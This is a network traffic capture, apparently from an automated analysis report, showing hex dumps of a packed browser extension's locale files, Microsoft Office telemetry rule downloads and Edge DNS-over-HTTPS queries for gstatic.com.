2024-11-23 20:59:39 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-23 20:59:39 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-23 20:59:39 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-23 20:59:39 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-23 20:59:39 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-23 20:59:39 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-23 20:59:39 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:38 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205938Z-174c587ffdf4zw2thC1TEBu34000000003f000000000mrrf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49857	172.64.41.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 20:59:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 20:59:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 20:59:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e741594f8890f3a-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 20:59:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0f 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49859	162.159.61.3	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-23 20:59:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-23 20:59:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 23 Nov 2024 20:59:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e741595f84343ef-EWR alt-svc: h3=":443"; ma=86400
2024-11-23 20:59:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 12 00 04 8e fa b0 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:39 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205940Z-178bfbc474btvfdfhC1NYCa2en000000051g00000000bvbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:39 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205940Z-15b8b599d8885prmhC1TEBsnkw00000003kg00000000bdez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:39 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 138215a1-101e-0017-6465-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205940Z-178bfbc474bscnbchC1NYCe7eg000000057g0000000024zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:40 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: ea05e59b-301e-0033-4bf7-3cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205940Z-178bfbc474bq2pr7hC1NYCkfgg000000051g00000000hkn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:59:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:41 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:59:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:41 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cf2b2526-c01e-0082-5660-3baf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T205941Z-178bfbc474bscnbchC1NYCe7eg000000053g00000000e10s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
